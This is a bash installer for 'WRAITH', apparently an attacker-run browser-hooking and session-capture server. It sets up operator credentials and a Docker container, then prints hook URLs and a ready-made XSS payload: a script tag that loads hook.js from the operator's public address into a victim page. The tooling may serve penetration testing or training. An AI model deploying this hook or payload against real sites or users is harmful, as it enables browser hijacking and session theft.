setup.sh

#!/usr/bin/env bash
# WRAITH installer -----------------------------------------------------------
# Interactive one-shot setup: detects your public IP (or takes a domain), has you
# choose an operator username + password, generates a session secret, writes a
# gitignored .env, then builds and starts the container. Prints every hook URL
# with your address at the end.
#
#   ./setup.sh
#
# Re-run any time to reconfigure. No secrets or captured sessions are ever
# committed — .env and data/ are gitignored.
set -euo pipefail

cd "$(dirname "$0")"

# ---- pretty ----------------------------------------------------------------
bold(){ printf '\033[1m%s\033[0m\n' "$*"; }
cyan(){ printf '\033[36m%s\033[0m\n' "$*"; }
warn(){ printf '\033[33m%s\033[0m\n' "$*"; }
err(){ printf '\033[31m%s\033[0m\n' "$*" >&2; }
rule(){ printf '  \033[2m%s\033[0m\n' "----------------------------------------------------------"; }

echo
bold "  WRAITH — installer"
rule

# ---- pick the container tool -----------------------------------------------
if docker compose version >/dev/null 2>&1; then
  DC="docker compose"
elif command -v docker-compose >/dev/null 2>&1; then
  DC="docker-compose"
else
  err "Docker Compose not found. Install Docker Desktop or the compose plugin, then re-run."
  exit 1
fi
command -v docker >/dev/null 2>&1 || { err "Docker not found on PATH."; exit 1; }

# ---- gather existing values so re-runs pre-fill ----------------------------
OLD_PORT=8090 OLD_USER=operator OLD_URL="" OLD_SECRET="" OLD_AUTOCAP=1
if [ -f .env ]; then
  # shellcheck disable=SC1091
  set +u; . ./.env >/dev/null 2>&1 || true; set -u
  OLD_PORT="${WRAITH_PORT:-8090}"
  OLD_USER="${WRAITH_OP_USER:-operator}"
  OLD_URL="${WRAITH_PUBLIC_URL:-}"
  OLD_SECRET="${WRAITH_SECRET:-}"
  OLD_AUTOCAP="${WRAITH_AUTOCAPTURE:-1}"
  warn "  Found an existing .env — values shown in [brackets] are the current ones."
  echo
fi

# ---- detect public IP ------------------------------------------------------
cyan "  Detecting your public IP…"
DETECTED=""
for u in "https://api.ipify.org" "https://ifconfig.me/ip" "https://icanhazip.com" "https://ipv4.icanhazip.com"; do
  DETECTED="$(curl -fsS4 --max-time 5 "$u" 2>/dev/null | tr -d '[:space:]' || true)"
  [ -n "$DETECTED" ] && break
done
if [ -n "$DETECTED" ]; then echo "  → $DETECTED"; else warn "  Could not auto-detect (offline?). You'll enter an address manually."; fi
echo

# ---- address the hook advertises -------------------------------------------
bold "  How will victims / hooked browsers reach this server?"
echo "    This becomes the address baked into your hook + XSS payload URLs."
DEF_HOST="${DETECTED:-127.0.0.1}"
if [ -n "$OLD_URL" ]; then
  echo
  read -r -p "  Public IP or domain [keep ${OLD_URL}]: " ADDR || true
else
  echo
  read -r -p "  Public IP or domain [${DEF_HOST}]: " ADDR || true
fi

read -r -p "  Port [${OLD_PORT}]: " PORT || true
PORT="${PORT:-$OLD_PORT}"

# Build WRAITH_PUBLIC_URL. If the user pasted a full URL, respect it.
if [ -z "${ADDR:-}" ] && [ -n "$OLD_URL" ]; then
  PUBLIC_URL="$OLD_URL"
else
  ADDR="${ADDR:-$DEF_HOST}"
  if printf '%s' "$ADDR" | grep -qiE '^https?://'; then
    PUBLIC_URL="${ADDR%/}"
  else
    read -r -p "  Serve over HTTPS (front with TLS)? [y/N]: " TLS || true
    case "${TLS:-n}" in
      y|Y|yes|YES) SCHEME=https ;;
      *)           SCHEME=http ;;
    esac
    # Omit the port for standard 80/443 to keep URLs clean.
    if { [ "$SCHEME" = http ] && [ "$PORT" = 80 ]; } || { [ "$SCHEME" = https ] && [ "$PORT" = 443 ]; }; then
      PUBLIC_URL="${SCHEME}://${ADDR}"
    else
      PUBLIC_URL="${SCHEME}://${ADDR}:${PORT}"
    fi
  fi
fi
echo

# ---- operator credentials --------------------------------------------------
bold "  Operator console login"
read -r -p "  Username [${OLD_USER}]: " OPUSER || true
OPUSER="${OPUSER:-$OLD_USER}"

PASS=""
while :; do
  read -r -s -p "  Password (min 8 chars; blank = auto-generate): " P1; echo
  if [ -z "$P1" ]; then
    PASS="$(openssl rand -base64 18 | tr -d '/+=' | cut -c1-20)"
    warn "  Generated password: ${PASS}"
    warn "  Save it now — it is not stored anywhere but .env."
    break
  fi
  if [ "${#P1}" -lt 8 ]; then err "  Too short (min 8). Try again."; continue; fi
  read -r -s -p "  Confirm password: " P2; echo
  if [ "$P1" != "$P2" ]; then err "  Passwords did not match. Try again."; continue; fi
  PASS="$P1"; break
done
echo

# ---- session secret (reuse existing so logins survive re-runs) -------------
if [ -n "$OLD_SECRET" ] && [ "$OLD_SECRET" != "replace-with-64-hex-characters" ]; then
  SECRET="$OLD_SECRET"
else
  SECRET="$(openssl rand -hex 32)"
fi

# ---- write .env ------------------------------------------------------------
umask 077
cat > .env <<EOF
# WRAITH environment — generated by setup.sh. DO NOT COMMIT. Holds secrets.
WRAITH_HOST=0.0.0.0
WRAITH_PORT=${PORT}
WRAITH_PUBLIC_URL=${PUBLIC_URL}
WRAITH_OP_USER=${OPUSER}
WRAITH_OP_PASSWORD=${PASS}
WRAITH_SECRET=${SECRET}
WRAITH_SESSION_HOURS=12
WRAITH_AUTOCAPTURE=${OLD_AUTOCAP}
EOF
chmod 600 .env
mkdir -p data
cyan "  Wrote .env (chmod 600) and ./data/ for sessions."
echo

# ---- build + start ---------------------------------------------------------
bold "  Building and starting the container…"
$DC up -d --build
echo

# ---- report ----------------------------------------------------------------
PAYLOAD="\"><script src=\"${PUBLIC_URL}/hook.js\"></script>"
echo
bold "  WRAITH is up."
rule
printf "  Operator console : %s/operator/\n" "$PUBLIC_URL"
printf "  Login page       : %s/login   (user \"%s\")\n" "$PUBLIC_URL" "$OPUSER"
printf "  Demo victim page : %s/demo/\n" "$PUBLIC_URL"
printf "  Hook payload     : %s/hook.js\n" "$PUBLIC_URL"
rule
printf "  Drop-in XSS payload:\n    %s\n" "$PAYLOAD"
rule
echo "  Logs:   $DC logs -f"
echo "  Stop:   $DC down        (keeps ./data)"
echo "  Reconfigure: ./setup.sh"
echo
warn "  Served over plain HTTP unless you fronted it with TLS. For an HTTPS target,"
warn "  put WRAITH behind nginx + Let's Encrypt and set WRAITH_PUBLIC_URL to https://…"
echo